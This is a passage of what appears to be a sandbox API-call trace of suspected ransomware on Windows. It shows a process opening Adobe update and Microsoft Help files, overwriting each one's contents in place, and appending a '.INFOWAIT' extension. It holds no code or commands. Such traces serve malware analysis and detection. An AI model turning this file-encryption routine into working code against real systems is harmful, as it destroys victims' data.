lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp.INFOWAIT") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp.INFOWAIT" [0115.283] MoveFileW (lpExistingFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp"), lpNewFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp.INFOWAIT" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp.infowait")) returned 1 [0115.283] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.284] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.285] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.285] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0115.286] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10e3000 [0115.286] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0115.287] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.287] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0115.305] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0115.319] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.319] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0115.320] CloseHandle (hObject=0xad4) returned 1 [0116.004] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" [0116.004] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp.INFOWAIT") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp.INFOWAIT" [0116.004] MoveFileW (lpExistingFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp"), lpNewFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp.INFOWAIT" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp.infowait")) returned 1 [0116.005] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.005] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.006] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.006] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.007] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x109d000 [0116.007] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.007] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.007] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0116.025] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0116.035] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.035] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0116.036] CloseHandle (hObject=0xad4) returned 1 [0116.539] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" [0116.539] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp.INFOWAIT") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp.INFOWAIT" [0116.540] MoveFileW (lpExistingFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp"), lpNewFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp.INFOWAIT" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp.infowait")) returned 1 [0116.540] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.541] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.542] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.542] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn" (normalized: "c:\\programdata\\microsoft help\\hx.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.543] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x186 [0116.543] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.543] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.544] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x186, lpOverlapped=0x0) returned 1 [0116.547] VirtualAlloc (lpAddress=0x0, dwSize=0x186, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.547] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.547] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x186, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x186, lpOverlapped=0x0) returned 1 [0116.547] CloseHandle (hObject=0xad0) returned 1 [0116.550] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\Hx.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\Hx.hxn") returned="C:\\ProgramData\\Microsoft Help\\Hx.hxn" [0116.550] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\Hx.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\Hx.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\Hx.hxn.INFOWAIT" [0116.550] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn" (normalized: "c:\\programdata\\microsoft help\\hx.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\hx.hxn.infowait")) returned 1 [0116.551] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.552] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.552] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.552] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.553] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x146 [0116.553] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.554] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.554] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x146, lpOverlapped=0x0) returned 1 [0116.557] VirtualAlloc (lpAddress=0x0, dwSize=0x146, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.558] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.558] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x146, lpOverlapped=0x0) returned 1 [0116.558] CloseHandle (hObject=0xad0) returned 1 [0116.558] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" [0116.558] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn.INFOWAIT" [0116.558] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn.infowait")) returned 1 [0116.559] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.560] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.560] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.560] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.561] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15e [0116.561] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.561] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.561] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x15e, lpOverlapped=0x0) returned 1 [0116.564] VirtualAlloc (lpAddress=0x0, dwSize=0x15e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.565] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.565] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x15e, lpOverlapped=0x0) returned 1 [0116.565] CloseHandle (hObject=0xad0) returned 1 [0116.566] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" [0116.566] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.INFOWAIT" [0116.566] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn.infowait")) returned 1 [0116.566] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.567] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.568] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.568] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.569] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x146 [0116.569] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.569] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.569] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x146, lpOverlapped=0x0) returned 1 [0116.573] VirtualAlloc (lpAddress=0x0, dwSize=0x146, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.573] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.573] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x146, lpOverlapped=0x0) returned 1 [0116.574] CloseHandle (hObject=0xad4) returned 1 [0116.574] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" [0116.575] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn.INFOWAIT" [0116.575] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn.infowait")) returned 1 [0116.575] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.576] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.576] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.576] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.579] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14c [0116.579] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.579] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.579] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x14c, lpOverlapped=0x0) returned 1 [0116.582] VirtualAlloc (lpAddress=0x0, dwSize=0x14c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.583] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.583] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x14c, lpOverlapped=0x0) returned 1 [0116.583] CloseHandle (hObject=0xad4) returned 1 [0116.584] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" [0116.584] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn.INFOWAIT" [0116.584] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn.infowait")) returned 1 [0116.584] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.585] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.586] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.586] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.587] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x158 [0116.587] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.587] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.587] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x158, lpOverlapped=0x0) returned 1 [0116.590] VirtualAlloc (lpAddress=0x0, dwSize=0x158, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.591] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.591] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x158, lpOverlapped=0x0) returned 1 [0116.591] CloseHandle (hObject=0xad4) returned 1 [0116.592] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" [0116.592] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn.INFOWAIT" [0116.592] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn.infowait")) returned 1 [0116.593] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.594] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.594] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.594] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.596] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x17c [0116.596] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.596] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.596] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x17c, lpOverlapped=0x0) returned 1 [0116.602] VirtualAlloc (lpAddress=0x0, dwSize=0x17c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.603] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.603] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x17c, lpOverlapped=0x0) returned 1 [0116.603] CloseHandle (hObject=0xad4) returned 1 [0116.604] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft 